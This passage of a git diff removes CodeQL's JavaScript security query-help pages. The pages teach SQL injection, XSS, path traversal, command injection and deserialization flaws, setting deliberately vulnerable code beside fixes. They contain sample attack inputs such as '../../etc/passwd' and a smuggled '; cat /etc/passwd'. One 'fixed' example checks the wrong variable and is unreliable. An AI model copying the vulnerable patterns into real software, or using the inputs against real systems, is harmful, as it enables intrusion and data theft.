following example, assume the function `handler` is an HTTP request handler in a web application, whose parameter `req` contains the request object. - -The handler constructs two copies of the same SQL query involving user input taken from the request object, once unsafely using string concatenation, and once safely using query parameters. - -In the first case, the query string `query1` is built by directly concatenating a user-supplied request parameter with some string literals. The parameter may include quote characters, so this code is vulnerable to a SQL injection attack. - -In the second case, the parameter is embedded into the query string `query2` using query parameters. In this example, we use the API offered by the `pg` Postgres database connector library, but other libraries offer similar features. This version is immune to injection attacks. - - -```javascript -const app = require("express")(), - pg = require("pg"), - pool = new pg.Pool(config); - -app.get("search", function handler(req, res) { - // BAD: the category might have SQL special characters in it - var query1 = - "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + - req.params.category + - "' ORDER BY PRICE"; - pool.query(query1, [], function(err, results) { - // process results - }); - - // GOOD: use parameters - var query2 = - "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=$1" + " ORDER BY PRICE"; - pool.query(query2, [req.params.category], function(err, results) { - // process results - }); -}); - -``` - -## References -* Wikipedia: [SQL injection](https://en.wikipedia.org/wiki/SQL_injection). -* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/StackTraceExposure.md b/docs/language/query-help/javascript/StackTraceExposure.md deleted file mode 100644 index f83a6458ed3..00000000000 --- a/docs/language/query-help/javascript/StackTraceExposure.md +++ /dev/null @@ -1,75 +0,0 @@ -# Information exposure through a stack trace - -``` -ID: js/stack-trace-exposure -Kind: path-problem -Severity: warning -Precision: very-high -Tags: security external/cwe/cwe-209 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-209/StackTraceExposure.ql) - -Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. - -Unfortunately, the same information can be useful to an attacker. The sequence of function names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. - - -## Recommendation -Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. - - -## Example -In the following example, an exception is caught and its stack trace is sent back to the remote user as part of the HTTP response. As such, the user is able to see a detailed stack trace, which may contain sensitive information. - - -```javascript -var http = require('http'); - -http.createServer(function onRequest(req, res) { - var body; - try { - body = handleRequest(req); - } - catch (err) { - res.statusCode = 500; - res.setHeader("Content-Type", "text/plain"); - res.end(err.stack); // NOT OK - return; - } - res.statusCode = 200; - res.setHeader("Content-Type", "application/json"); - res.setHeader("Content-Length", body.length); - res.end(body); -}).listen(3000); - -``` -Instead, the stack trace should be logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information: - - -```javascript -var http = require('http'); - -http.createServer(function onRequest(req, res) { - var body; - try { - body = handleRequest(req); - } - catch (err) { - res.statusCode = 500; - res.setHeader("Content-Type", "text/plain"); - log("Exception occurred", err.stack); - res.end("An exception occurred"); // OK - return; - } - res.statusCode = 200; - res.setHeader("Content-Type", "application/json"); - res.setHeader("Content-Length", body.length); - res.end(body); -}).listen(3000); - -``` - -## References -* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). -* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/StoredXss.md b/docs/language/query-help/javascript/StoredXss.md deleted file mode 100644 index c4275e1e960..00000000000 --- a/docs/language/query-help/javascript/StoredXss.md +++ /dev/null @@ -1,70 +0,0 @@ -# Stored cross-site scripting - -``` -ID: js/stored-xss -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/StoredXss.ql) - -Directly using uncontrolled stored value (for example, file names) to create HTML content without properly sanitizing the input first, allows for a cross-site scripting vulnerability. - -This kind of vulnerability is also called *stored* cross-site scripting, to distinguish it from other types of cross-site scripting. - - -## Recommendation -To guard against cross-site scripting, consider using contextual output encoding/escaping before using uncontrolled stored values to create HTML content, or one of the other solutions that are mentioned in the references. - - -## Example -The following example code writes file names directly to a HTTP response. This leaves the website vulnerable to cross-site scripting, if an attacker can choose the file names on the disk. - - -```javascript -var express = require('express'), - fs = require('fs'); - -express().get('/list-directory', function(req, res) { - fs.readdir('/public', function (error, fileNames) { - var list = '
    '; - fileNames.forEach(fileName => { - // BAD: `fileName` can contain HTML elements - list += '
  • ' + fileName + '
  • '; - }); - list += '
' - res.send(list); - }); -}); - -``` -Sanitizing the file names prevents the vulnerability: - - -```javascript -var express = require('express'), - fs = require('fs'), - escape = require('escape-html'); - -express().get('/list-directory', function(req, res) { - fs.readdir('/public', function (error, fileNames) { - var list = '
    '; - fileNames.forEach(fileName => { - // GOOD: escaped `fileName` can not contain HTML elements - list += '
  • ' + escape(fileName) + '
  • '; - }); - list += '
' - res.send(list); - }); -}); - -``` - -## References -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TaintedFormatString.md b/docs/language/query-help/javascript/TaintedFormatString.md deleted file mode 100644 index 1f0b84076d9..00000000000 --- a/docs/language/query-help/javascript/TaintedFormatString.md +++ /dev/null @@ -1,52 +0,0 @@ -# Use of externally-controlled format string - -``` -ID: js/tainted-format-string -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-134 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-134/TaintedFormatString.ql) - -Functions like the Node.js standard library function `util.format` accept a format string that is used to format the remaining arguments by providing inline format specifiers. If the format string contains unsanitized input from an untrusted source, then that string may contain unexpected format specifiers that cause garbled output. - - -## Recommendation -Either sanitize the input before including it in the format string, or use a `%s` specifier in the format string, and pass the untrusted data as corresponding argument. - - -## Example -The following program snippet logs information about an unauthorized access attempt. The log message includes the user name, and the user's IP address is passed as an additional argument to `console.log` to be appended to the message: - - -```javascript -const app = require("express")(); - -app.get("unauthorized", function handler(req, res) { - let user = req.query.user; - let ip = req.connection.remoteAddress; - console.log("Unauthorized access attempt by " + user, ip); -}); - -``` -However, if a malicious user provides `%d` as their user name, `console.log` will instead attempt to format the `ip` argument as a number. Since IP addresses are not valid numbers, the result of this conversion is `NaN`. The resulting log message will read "Unauthorized access attempt by NaN", missing all the information that it was trying to log in the first place. - -Instead, the user name should be included using the `%s` specifier: - - -```javascript -const app = require("express")(); - -app.get("unauthorized", function handler(req, res) { - let user = req.query.user; - let ip = req.connection.remoteAddress; - console.log("Unauthorized access attempt by %s", user, ip); -}); - -``` - -## References -* Node.js Documentation: [util.format](https://nodejs.org/api/util.html#util_util_format_format_args). -* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TaintedPath.md b/docs/language/query-help/javascript/TaintedPath.md deleted file mode 100644 index ccd80f80179..00000000000 --- a/docs/language/query-help/javascript/TaintedPath.md +++ /dev/null @@ -1,56 +0,0 @@ -# Uncontrolled data used in path expression - -``` -ID: js/path-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-022/TaintedPath.ql) - -Accessing files using paths constructed from user-controlled data can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. - - -## Recommendation -Validate user input before using it to construct a file path, either using an off-the-shelf library like the `sanitize-filename` npm package, or by performing custom validation. - -Ideally, follow these rules: - -* Do not allow more than a single "." character. -* Do not allow directory separators such as "/" or "\" (depending on the file system). -* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//", the resulting string would still be "../". -* Use a whitelist of known good patterns. - -## Example -In the first example, a file name is read from an HTTP request and then used to access a file. However, a malicious user could enter a file name which is an absolute path, such as `"/etc/passwd"`. - -In the second example, it appears that the user is restricted to opening a file within the `"user"` home directory. However, a malicious user could enter a file name containing special characters. For example, the string `"../../etc/passwd"` will result in the code reading the file located at `"/home/user/../../etc/passwd"`, which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. - - -```javascript -var fs = require('fs'), - http = require('http'), - url = require('url'); - -var server = http.createServer(function(req, res) { - let path = url.parse(req.url, true).query.path; - - // BAD: This could read any file on the file system - res.write(fs.readFileSync(path)); - - // BAD: This could still read any file on the file system - res.write(fs.readFileSync("/home/user/" + path)); -}); - -``` - -## References -* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). -* npm: [sanitize-filename](https://www.npmjs.com/package/sanitize-filename) package. -* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). -* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). -* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). -* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). -* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TargetBlank.md b/docs/language/query-help/javascript/TargetBlank.md deleted file mode 100644 index d1281265835..00000000000 --- a/docs/language/query-help/javascript/TargetBlank.md +++ /dev/null @@ -1,40 +0,0 @@ -# Potentially unsafe external link - -``` -ID: js/unsafe-external-link -Kind: problem -Severity: warning -Precision: very-high -Tags: maintainability security external/cwe/cwe-200 external/cwe/cwe-1022 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/DOM/TargetBlank.ql) - -HTML links that open in a new tab or window allow the target page to access the DOM of the origin page using `window.opener` unless link type `noopener` or `noreferrer` is specified. This is a potential security risk. - - -## Recommendation -Specify the link type by adding an attribute `rel="noopener noreferrer"`. - - -## Example -In the following example, a JSX element is created that corresponds to an HTML link opening the URL `http://example.com` in a new tab. Since it does not specify a link type, that page will be able to access the DOM of the origin page. - - -```javascript -var link = Example; - -``` -To fix this vulnerability, add a `rel` attribute: - - -```javascript -var link = Example; - -``` - -## References -* Mathias Bynens: [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/). -* Mozilla Developer Network: [HTML Anchor Element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a). -* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html). -* Common Weakness Enumeration: [CWE-1022](https://cwe.mitre.org/data/definitions/1022.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md b/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md deleted file mode 100644 index f3292bcd5a9..00000000000 --- a/docs/language/query-help/javascript/TypeConfusionThroughParameterTampering.md +++ /dev/null @@ -1,72 +0,0 @@ -# Type confusion through parameter tampering - -``` -ID: js/type-confusion-through-parameter-tampering -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-843 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-843/TypeConfusionThroughParameterTampering.ql) - -Sanitizing untrusted HTTP request parameters is an important technique for preventing injection attacks such as SQL injection or path traversal. This is sometimes done by checking if the request parameters contain blacklisted substrings. - -However, sanitizing request parameters assuming they have type `String` and using the builtin string methods such as `String.prototype.indexOf` is susceptible to type confusion attacks. In a type confusion attack, an attacker tampers with an HTTP request parameter such that it has a value of type `Array` instead of the expected type `String`. Furthermore, the content of the array has been crafted to bypass sanitizers by exploiting that some identically named methods of strings and arrays behave differently. - - -## Recommendation -Check the runtime type of sanitizer inputs if the input type is user-controlled. - - -## Example -For example, Node.js server frameworks usually present request parameters as strings. But if an attacker sends multiple request parameters with the same name, then the request parameter is represented as an array instead. - -In the following example, a sanitizer checks that a path does not contain the `".."` string, which would allow an attacker to access content outside a user-accessible directory. - - -```javascript -var app = require("express")(), - path = require("path"); - -app.get("/user-files", function(req, res) { - var file = req.param("file"); - if (file.indexOf("..") !== -1) { - // BAD - // forbid paths outside the /public directory - res.status(400).send("Bad request"); - } else { - var absolute = path.resolve("/public/" + file); - console.log("Sending file: %s", absolute); - res.sendFile(absolute); - } -}); - -``` -As written, this sanitizer is ineffective: an array like `["../", "/../secret.txt"]` will bypass the sanitizer. The array does not contain `".."` as an element, so the call to `indexOf` returns `-1` . This is problematic since the value of the `absolute` variable then ends up being `"/secret.txt"`. This happens since the concatenation of `"/public/"` and the array results in `"/public/../,/../secret.txt"`, which the `resolve`-call converts to `"/secret.txt"`. - -To fix the sanitizer, check that the request parameter is a string, and not an array: - - -```javascript -var app = require("express")(), - path = require("path"); - -app.get("/user-files", function(req, res) { - var file = req.param("file"); - if (typeof path !== 'string' || file.indexOf("..") !== -1) { - // BAD - // forbid paths outside the /public directory - res.status(400).send("Bad request"); - } else { - var absolute = path.resolve("/public/" + file); - console.log("Sending file: %s", absolute); - res.sendFile(absolute); - } -}); - -``` - -## References -* Node.js API: [querystring](https://nodejs.org/api/querystring.html). -* Common Weakness Enumeration: [CWE-843](https://cwe.mitre.org/data/definitions/843.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeDeserialization.md b/docs/language/query-help/javascript/UnsafeDeserialization.md deleted file mode 100644 index 6e5a5f28aae..00000000000 --- a/docs/language/query-help/javascript/UnsafeDeserialization.md +++ /dev/null @@ -1,52 +0,0 @@ -# Deserialization of user-controlled data - -``` -ID: js/unsafe-deserialization -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-502 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-502/UnsafeDeserialization.ql) - -Deserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code. - - -## Recommendation -Avoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions. - - -## Example -The following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe. - - -```javascript -const app = require("express")(), - jsyaml = require("js-yaml"); - -app.get("load", function(req, res) { - let data = jsyaml.load(req.params.data); - // ... -}); - -``` -Using the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability. - - -```javascript -const app = require("express")(), - jsyaml = require("js-yaml"); - -app.get("load", function(req, res) { - let data = jsyaml.safeLoad(req.params.data); - // ... -}); - -``` - -## References -* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data). -* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html). -* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/). -* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md b/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md deleted file mode 100644 index ea56a720e5c..00000000000 --- a/docs/language/query-help/javascript/UnsafeDynamicMethodAccess.md +++ /dev/null @@ -1,71 +0,0 @@ -# Unsafe dynamic method access - -``` -ID: js/unsafe-dynamic-method-access -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-094 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-094/UnsafeDynamicMethodAccess.ql) - -Calling a user-controlled method on certain objects can lead to invocation of unsafe functions, such as `eval` or the `Function` constructor. In particular, the global object contains the `eval` function, and any function object contains the `Function` constructor in its `constructor` property. - - -## Recommendation -Avoid invoking user-controlled methods on the global object or on any function object. Whitelist the permitted method names or change the type of object the methods are stored on. - - -## Example -In the following example, a message from the document's parent frame can invoke the `play` or `pause` method. However, it can also invoke `eval`. A malicious website could embed the page in an iframe and execute arbitrary code by sending a message with the name `eval`. - - -```javascript -// API methods -function play(data) { - // ... -} -function pause(data) { - // ... -} - -window.addEventListener("message", (ev) => { - let message = JSON.parse(ev.data); - - // Let the parent frame call the 'play' or 'pause' function - window[message.name](message.payload); -}); - -``` -Instead of storing the API methods in the global scope, put them in an API object or Map. It is also good practice to prevent invocation of inherited methods like `toString` and `valueOf`. - - -```javascript -// API methods -let api = { - play: function(data) { - // ... - }, - pause: function(data) { - // ... - } -}; - -window.addEventListener("message", (ev) => { - let message = JSON.parse(ev.data); - - // Let the parent frame call the 'play' or 'pause' function - if (!api.hasOwnProperty(message.name)) { - return; - } - api[message.name](message.payload); -}); - -``` - -## References -* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). -* MDN: [Global functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects#Function_properties). -* MDN: [Function constructor](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function). -* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeHtmlExpansion.md b/docs/language/query-help/javascript/UnsafeHtmlExpansion.md deleted file mode 100644 index 90e9d4b033e..00000000000 --- a/docs/language/query-help/javascript/UnsafeHtmlExpansion.md +++ /dev/null @@ -1,59 +0,0 @@ -# Unsafe expansion of self-closing HTML tag - -``` -ID: js/unsafe-html-expansion -Kind: problem -Severity: warning -Precision: very-high -Tags: correctness security external/cwe/cwe-079 external/cwe/cwe-116 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-116/UnsafeHtmlExpansion.ql) - -Sanitizing untrusted input for HTML meta-characters is an important technique for preventing cross-site scripting attacks. But even a sanitized input can be dangerous to use if it is modified further before a browser treats it as HTML. A seemingly innocent transformation that expands a self-closing HTML tag from `
` to `
` may in fact cause cross-site scripting vulnerabilities. - - -## Recommendation -Use a well-tested sanitization library if at all possible, and avoid modifying sanitized values further before treating them as HTML. - - -## Example -The following function transforms a self-closing HTML tag to a pair of open/close tags. It does so for all non-`img` and non-`area` tags, by using a regular expression with two capture groups. The first capture group corresponds to the name of the tag, and the second capture group to the content of the tag. - - -```javascript -function expandSelfClosingTags(html) { - var rxhtmlTag = /<(?!img|area)(([a-z][^\w\/>]*)[^>]*)\/>/gi; - return html.replace(rxhtmlTag, "<$1>"); // BAD -} - -``` -While it is generally known regular expressions are ill-suited for parsing HTML, variants of this particular transformation pattern have long been considered safe. - -However, the function is not safe. As an example, consider the following string: - - -```html -
- -``` -When the above function transforms the string, it becomes a string that results in an alert when a browser treats it as HTML. - - -```html -
-"/> - -``` - -## References -* jQuery: [Security fixes in jQuery 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/) -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). -* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeJQueryPlugin.md b/docs/language/query-help/javascript/UnsafeJQueryPlugin.md deleted file mode 100644 index 4009800a236..00000000000 --- a/docs/language/query-help/javascript/UnsafeJQueryPlugin.md +++ /dev/null @@ -1,57 +0,0 @@ -# Unsafe jQuery plugin - -``` -ID: js/unsafe-jquery-plugin -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-079 external/cwe/cwe-116 frameworks/jquery - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-079/UnsafeJQueryPlugin.ql) - -Library plugins, such as those for the jQuery library, are often configurable through options provided by the clients of the plugin. Clients, however, do not know the implementation details of the plugin, so it is important to document the capabilities of each option. The documentation for the plugin options that the client is responsible for sanitizing is of particular importance. Otherwise, the plugin may write user input (for example, a URL query parameter) to a web page without properly sanitizing it first, which allows for a cross-site scripting vulnerability in the client application through dynamic HTML construction. - - -## Recommendation -Document all options that can lead to cross-site scripting attacks, and guard against unsafe inputs where dynamic HTML construction is not intended. - - -## Example -The following example shows a jQuery plugin that selects a DOM element, and copies its text content to another DOM element. The selection is performed by using the plugin option `sourceSelector` as a CSS selector. - - -```javascript -jQuery.fn.copyText = function(options) { - // BAD may evaluate `options.sourceSelector` as HTML - var source = jQuery(options.sourceSelector), - text = source.text(); - jQuery(this).text(text); -} - -``` -This is, however, not a safe plugin, since the call to `jQuery` interprets `sourceSelector` as HTML if it is a string that starts with `<`. - -Instead of documenting that the client is responsible for sanitizing `sourceSelector`, the plugin can use `jQuery.find` to always interpret `sourceSelector` as a CSS selector: - - -```javascript -jQuery.fn.copyText = function(options) { - // GOOD may not evaluate `options.sourceSelector` as HTML - var source = jQuery.find(options.sourceSelector), - text = source.text(); - jQuery(this).text(text); -} - -``` - -## References -* OWASP: [DOM based XSS Prevention Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet). -* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet). -* OWASP [DOM Based XSS](https://www.owasp.org/index.php/DOM_Based_XSS). -* OWASP [Types of Cross-Site Scripting](https://www.owasp.org/index.php/Types_of_Cross-Site_Scripting). -* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). -* jQuery: [Plugin creation](https://learn.jquery.com/plugins/basic-plugin-creation/). -* Bootstrap: [XSS vulnerable bootstrap plugins](https://github.com/twbs/bootstrap/pull/27047). -* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). -* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md b/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md deleted file mode 100644 index 390abbfaa6d..00000000000 --- a/docs/language/query-help/javascript/UnsafeShellCommandConstruction.md +++ /dev/null @@ -1,53 +0,0 @@ -# Unsafe shell command constructed from library input - -``` -ID: js/shell-command-constructed-from-input -Kind: path-problem -Severity: error -Precision: high -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-078/UnsafeShellCommandConstruction.ql) - -Dynamically constructing a shell command with inputs from exported functions may inadvertently change the meaning of the shell command. Clients using the exported function may use inputs containing characters that the shell interprets in a special way, for instance quotes and spaces. This can result in the shell command misbehaving, or even allowing a malicious user to execute arbitrary commands on the system. - - -## Recommendation -If possible, provide the dynamic arguments to the shell as an array using a safe API such as `child_process.execFile` to avoid interpretation by the shell. - -Alternatively, if the shell command must be constructed dynamically, then add code to ensure that special characters do not alter the shell command unexpectedly. - - -## Example -The following example shows a dynamically constructed shell command that downloads a file from a remote URL. - - -```javascript -var cp = require("child_process"); - -module.exports = function download(path, callback) { - cp.exec("wget " + path, callback); -} - -``` -The shell command will, however, fail to work as intended if the input contains spaces or other special characters interpreted in a special way by the shell. - -Even worse, a client might pass in user-controlled data, not knowing that the input is interpreted as a shell command. This could allow a malicious user to provide the input `http://example.org; cat /etc/passwd` in order to execute the command `cat /etc/passwd`. - -To avoid such potentially catastrophic behaviors, provide the inputs from exported functions as an argument that does not get interpreted by a shell: - - -```javascript -var cp = require("child_process"); - -module.exports = function download(path, callback) { - cp.execFile("wget", [path], callback); -} - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md b/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md deleted file mode 100644 index a56a81f8a2b..00000000000 --- a/docs/language/query-help/javascript/UnvalidatedDynamicMethodCall.md +++ /dev/null @@ -1,112 +0,0 @@ -# Unvalidated dynamic method call - -``` -ID: js/unvalidated-dynamic-method-call -Kind: path-problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-754 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-754/UnvalidatedDynamicMethodCall.ql) - -JavaScript makes it easy to look up object properties dynamically at runtime. In particular, methods can be looked up by name and then called. However, if the method name is user-controlled, an attacker could choose a name that makes the application invoke an unexpected method, which may cause a runtime exception. If this exception is not handled, it could be used to mount a denial-of-service attack. - -For example, there might not be a method of the given name, or the result of the lookup might not be a function. In either case the method call will throw a `TypeError` at runtime. - -Another, more subtle example is where the result of the lookup is a standard library method from `Object.prototype`, which most objects have on their prototype chain. Examples of such methods include `valueOf`, `hasOwnProperty` and `__defineSetter__`. If the method call passes the wrong number or kind of arguments to these methods, they will throw an exception. - - -## Recommendation -It is best to avoid dynamic method lookup involving user-controlled names altogether, for instance by using a `Map` instead of a plain object. - -If the dynamic method lookup cannot be avoided, consider whitelisting permitted method names. At the very least, check that the method is an own property and not inherited from the prototype object. If the object on which the method is looked up contains properties that are not methods, you should additionally check that the result of the lookup is a function. Even if the object only contains methods, it is still a good idea to perform this check in case other properties are added to the object later on. - - -## Example -In the following example, an HTTP request parameter `action` property is used to dynamically look up a function in the `actions` map, which is then invoked with the `payload` parameter as its argument. - - -```javascript -var express = require('express'); -var app = express(); - -var actions = { - play(data) { - // ... - }, - pause(data) { - // ... - } -} - -app.get('/perform/:action/:payload', function(req, res) { - let action = actions[req.params.action]; - // BAD: `action` may not be a function - res.end(action(req.params.payload)); -}); - -``` -The intention is to allow clients to invoke the `play` or `pause` method, but there is no check that `action` is actually the name of a method stored in `actions`. If, for example, `action` is `rewind`, `action` will be `undefined` and the call will result in a runtime error. - -The easiest way to prevent this is to turn `actions` into a `Map` and using `Map.prototype.has` to check whether the method name is valid before looking it up. - - -```javascript -var express = require('express'); -var app = express(); - -var actions = new Map(); -actions.put("play", function play(data) { - // ... -}); -actions.put("pause", function pause(data) { - // ... -}); - -app.get('/perform/:action/:payload', function(req, res) { - if (actions.has(req.params.action)) { - let action = actions.get(req.params.action); - // GOOD: `action` is either the `play` or the `pause` function from above - res.end(action(req.params.payload)); - } else { - res.end("Unsupported action."); - } -}); - -``` -If `actions` cannot be turned into a `Map`, a `hasOwnProperty` check should be added to validate the method name: - - -```javascript -var express = require('express'); -var app = express(); - -var actions = { - play(data) { - // ... - }, - pause(data) { - // ... - } -} - -app.get('/perform/:action/:payload', function(req, res) { - if (actions.hasOwnProperty(req.params.action)) { - let action = actions[req.params.action]; - if (typeof action === 'function') { - // GOOD: `action` is an own method of `actions` - res.end(action(req.params.payload)); - return; - } - } - res.end("Unsupported action."); -}); - -``` - -## References -* OWASP: [Denial of Service](https://www.owasp.org/index.php/Denial_of_Service). -* MDN: [Map](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map). -* MDN: [Object.prototype](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype). -* Common Weakness Enumeration: [CWE-754](https://cwe.mitre.org/data/definitions/754.html). \ No newline at end of file diff --git a/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md b/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md deleted file mode 100644 index b13d05e6390..00000000000 --- a/docs/language/query-help/javascript/UselessRegExpCharacterEscape.md +++ /dev/null @@ -1,37 +0,0 @@ -# Useless regular-expression character escape - -``` -ID: js/useless-regexp-character-escape -Kind: problem -Severity: error -Precision: high -Tags: correctness security external/cwe/cwe-20 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/javascript/ql/src/Security/CWE-020/UselessRegExpCharacterEscape.ql) - -When a character in a string literal or regular expression literal is preceded by a backslash, it is interpreted as part of an escape sequence. For example, the escape sequence `\n` in a string literal corresponds to a single `newline` character, and not the `\` and `n` characters. However, not all characters change meaning when used in an escape sequence. In this case, the backslash just makes the character appear to mean something else, and the backslash actually has no effect. For example, the escape sequence `\k` in a string literal just means `k`. Such superfluous escape sequences are usually benign, and do not change the behavior of the program. - -The set of characters that change meaning when in escape 